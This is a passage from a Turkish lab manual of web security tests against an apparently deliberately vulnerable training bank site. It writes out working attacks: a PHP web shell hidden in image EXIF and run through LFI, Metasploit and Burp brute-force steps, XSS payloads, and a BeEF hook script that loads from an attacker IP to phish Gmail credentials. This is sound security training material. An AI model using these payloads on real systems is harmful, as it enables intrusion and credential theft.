120 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3) Çıkış yapıldığı halde /profil.aspx e müşteri bilgileri görülecektir. (Şekil 138) Şekil 138. Profil Sayfası

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 121 45. User-Agent Bilgisi Değiştirerek Ücretsiz Havale İşlemi Gerçekleştirme URL http://isube.bgabank.com/havale- eft.aspx Tablo 40. Şubeler Sayfası Havale işlemi yapılırken normal şartlarda, işlem ücreti bakiyeden düşülmektedir. (Şekil 139) Şekil 139. Normal Havale İşlemi

122 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı User- Agent bilgisi değiştirildiğinde, havale işlemi ücretsiz olarak gerçekleşecektir. (Şekil 140) Bu işlem yapılırken, Mozilla Firefox User Agent Switcher eklentisi kullanılmıştır. Şekil 140. User Agent Bilgisi Değiştirilmiş İşlem Sayfası Şekil 139. da görülen uyarı, şekil 140. da görülmemektedir. User Agent bilgisi değiştirildiğinde, işlem ücreti alınmamaktadır.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 123 46. LFI ve Dosya Yükleme Zafiyetini Kullanarak Sisteme Shell Yükleme Bu başlıkta Başlık 6 ve Başlık 14 de ki zafiyetler kullanılarak, resim içine gömülen shell kodlarının sisteme nasıl yüklenebileceği ve çalıştırılacağı gösterilecektir. Ayrıntılı adımlar aşağıda belirtilmiştir. 1. Resim exif bilgilerini değiştirmek için gerekli olan herhangi bir araç indirilir. Bu dokümanda ExifTool kullanılmıştır. İndirme adresi tablo 41. de verilmiştir. Kurulum gerektirmemektedir. URL http://www.sno.phy.queensu.ca/~phil/exiftool/ Tablo 41. ExifTool Adresi Şekil 141. ExifTool Resim Exif Bilgileri

124 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 2. Shell kodlarının gömülmesi için gereken, rahat yüklenmesi için küçük boyutlu bir resim dosyası seçilir ve tablo 42. deki exiftool komutu ile exif bilgilerine yüklenir. (Şekil 142) Kod "exiftool(- k).exe" - comment="<?php echo shell_exec($_post['load']);?>" profilyok.jpg Tablo 42. ExifTool Komutu Şekil 142. Exif Bilgi Değişimi Upload edilecek resim üzerinde yapılacak işlemler tamamladı.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 125 3. Başlık 14 te anlatılan upload bölümünü kullanarak, yukarıdaki adımlarda exif bilgileri değiştirilen resim sisteme yüklenir. (Şekil 143) Şekil 143. Resim Sisteme Yüklenir Resmin yolu sonraki adımlarda gerekli olacağı için, resim yolu, resme sağ tıklayıp (Resim Url sini Görüntüle) görüntülenebilir. (Şekil 144) Şekil 144. Resim URL

126 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı URL http://isube.bgabank.com/uploads/11/profilyok.jpg Tablo 42. Resim Yolu 4. Başlık 6 daki LFI zafiyeti kullanılarak, resim kaynak kodları görüntülenir. (Şekil 145) URL http://isube.bgabank.com/?sayfa=../../../uploads/11/profilyok.jpg Tablo 43. LFI URL Şekil 145. Resmin Kaynak Kodu Şekil 145. deki hataya bakılırsa, resmin içine gömülen php kodlarının çalıştırıldığı görülür. load parametre değeri olarak Linux bash kodları girilebilir. 5. POST metodu ile tablo 44. deki script kullanılarak, sisteme linux komutları gönderilebilir. (Şekil 146) <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://isube.bgabank.com/?sayfa=../../../uploads/11/deneme.jpg "); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "load=ls - la"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec ($ch); curl_close ($ch); echo $server_output;?> Tablo 44. POST Script NOT: Scriptin çalışması için CURL açık olmalıdır.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 127 Şekil 146. Çalıştırılan Linux Listeleme Kodu

128 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 47. Tomcat Metasploit Brute Force Saldırısı Tomcat sistemin ifşası 41. başlıkta yapıldığına göre, metasploit kullanılarak, sisteme brute force saldırısı düzenlenebilir. Geniş wordlist e sahip olmak, saldırıyı başarılı sonuca bir adım daha yaklaştıracaktır. Saldırı aşağıda adım adım gösterilmiştir. 1. msfconsole açılır ve tablo 45. deki komutlar sırası ile girilir. Komut 1 use auxiliary/scanner/http/tomcat_mgr_login Komut 2 set RHOSTS 107.170.157.8 Komut 3 set RPORT 8080 Komut 4 set STOP_ON_SUCCESS true Komut 6 run (Şekil 148) Bu aracın diğer özelliklerine ulaşmak için, show options komutu kullanılır. Öntanımlı kelime listesinin yeri de, bu komutun çıktısında yer almaktadır. (Şekil 147) Şekil 147. Show Options

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 129 Şekil 148. Metasploit Sonuç Kullanıcı Adı Şifre Tomcat bgabank123

130 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 48. Müşteri Girişi Form Tabanlı Brute Force Saldırısı Müşteri giriş panelinde 3. başlıkta anlatılan mobil giriş captcha atlatma tekniği kullanılarak, form brute force saldırısına açık hale getirilir. (Şekil 149) Şekil 149. Müşteri Giriş Paneli Burp Suite ile istek yakalanarak, intruder e gönderilir. (Şekil 150) Şekil 150. Intruder

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 131 Pozisyonlar düzenlenir ve ilk parametreden sonraki parametreler silinir. (Şekil 151) Şekil 151. Positions Wordlist yüklemek için Payloads sekmesine gidilir. Ardından Payload type kısmından Custom Iterator seçilir. Payload Options bölümünden her pozisyon için gerekli kelime listeleri yüklenir. Seperator for Position 1 için silinen ikinci parametre değeri (&b_password=) girilir. (Şekil 152) Şekil 152. Payloads

132 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Saldırı başlatılı ve sonuçlar gözlemlenir. Şekil 153. te görüldüğü gibi 23. istekte, cevap olarak diğerlerinden farklı length ve status değerleri dönmüştür. Yani 10000142 numaralı müşterinin şifresi hacked olarak saptanmıştır. Şekil 153. Intruder Attack

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 133 49. OWASP Xenotix XSS Framework Kullanarak XSS Tespiti URL İstek Parametre Payload http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2= GET s2 Bilinmiyor (Xenotix ile bulunacak) Tablo 46. URL BGA Bank arama kısmına herhangi bir kelime yazılıp aratıldığında, oluşan get isteği tablo 46 da gösterilmiştir. Arama bölümündeki XSS zafiyeti ve istimarı 4. başlıkta anlatılmıştır. XSS zafiyeti olduğu bilindiği halde, payload yazımında zorluk yaşanıyorsa, Xenotix programı kullanılabilir. Tablo 46. daki payloadın Xenotix kullanarak tespit edilmesi aşağıda adım adım anlatılmıştır. 1. Xenotix URL kısmına Tablo 46 daki link girilir. (Şekil 154) Şekil 154. Xenotix URL

134 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 2. Scanner sekmesinde bulunan Get Request Auto Mode seçeneği seçilir. (Şekil 155) Ardından şekil 156. daki adımlar izlenir (program ilk çalıştırıldığında bir defa yapılır). Şekil 155. Scanner Not: Tek tek deneme yapmak için manuan mode seçeneği seçilebilir. Şekil 156. Server Configuration

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 135 3. Şekil 157. de gösterilen pencerede yer alan interval (sec) alanı, payload denenme süre aralığını saniye olarak tanımlar. Yani kullanıcı 3 değerini girerse, 3 saniyede bir payload denenir. Süre aralığı girildikten sonra Start butonuna tıklanır. Şekil 157. Auto Mode Window 4. Payload şekil 158. deki gibidir. (<marquee/onstart=confirm(1)>) Şekil 158. Sonuç

136 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 50. XSS Zafiyeti ile Beef Framework Kullanarak Şifre Çalma Senaryosu Saldırgan IP adresi 172.18.7.105 Kullanıcı IP adresi 172.18.1.127 Tablo 47. IP Bilgileri Ziyaretçi defterinde yer alan Stored XSS zafiyeti ile Beef Framework kullanılarak, kullanıcı tarayıcısı ele geçirilecek ve sonra olarak, gmail hesap bilgileri sosyal mühendislikle elde edilecektir. Senaryo aşağıda adım adım anlatılmıştır. 1. Saldırgan Beef Control Panel e erişim sağlar ve kullanıcıya göndereceği linki hazırlar. beef komutu ile beef framework servisi başlatılır. Şekil 159. Beef Başlatılır Gelen Beef FrameWork Control panele kullanıcı adı olarak beef, şifre olarak yine beef girilir. Şekil 160. Beef Authentication

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 137 Yukarıdakiler yapıldığında, kontrol paneli şekil 161. deki gibi görünecektir. Şekil 161. Beef Control Panel 2. BGA Bank ziyaretçi defterinde yer alan stored XSS zafiyeti, tablo 48. deki payload ile istismar edilir. (Şekil 162) Adres Payload http://isube.bgabank.com/ziyaretcidef.aspx <script type=text/javascript src=http://172.18.7.105:3000/hook.js></script> Method POST Tablo 48. Zafiyet Bilgileri Tablo 48. de payload da belirtilen adres, saldırganın adresidir.

138 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı Şekil 162. Ziyaretçi Defteri 3. Kullanıcıya, ziyaretçi defterinin linki gönderilir ve sosyal mühendislik ile bir şekilde tıklanması sağlanır. (Şekil 163) Şekil 163. Link Gönderilir

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 139 4. Kullanıcı linke tıklar ve Beef Control Panel de yer alan Online Browsers kısmına, kullanıcının tarayıcısı düşer. (Şekil 164) Kullanıcı tarayıcısı ele geçirilmiştir. Şekil 164. Online Browsers

140 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 5. Commands sekmesinde bulunan ağaç yapısında sırasıyla, Social Engineering, Google Phishing seçenekleri seçilir ve sağ tarafta yer alan Execute butonuna tıklanır. (Şekil 165) Şekil 165. Command Executing 6. Kullanıcının tarayıcısı, gmail hesabı açıksa oturumu sonlandırır ve kullanıcıyı gmail giriş sayfasına yönlendirir. Kullanıcı bilgilerini girer. (Şekil 166) Şekil 167. Gmail Giriş Sayfası

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 141 7. Gmail hesabı ve şifresini, saldırgan beef control panel de ilgili komutun üzerine tıklayarak, öğrenebilir. (Şekil 168) Şekil 168. Beef Sonuç

142 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 51. Nmap Kullanarak PortSpoof Tespiti URL Komut http://ipstest.bgabank.com/ nmap - sv ipstest.bgabank.com Tablo 49. Nmap Bilgileri Portspoof un temel amacı, çeşitli teknikler kullanarak işletim sisteminin güvenliğini sağlamaktır. Tüm portları açık olarak göstermesinin yanında, herbir porta servis servis ataması da yapmaktadır. Böylece sistemde port ve servis tarama yapan saldırgan, hem yavaşlatılacak hem de gerçekten açık olan portları görebilmesi engellenecektir. Tablo 49. daki işletim sistemine, portspoof kurulmuştur. Bu adrese tabloda bellirtilen nmap komutu ile tarama yapıldığında, tüm portların açık ve bir servise ait olduğu görülecektir. (Şekil 169)

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 143 Şekil 169. Nmap Tarama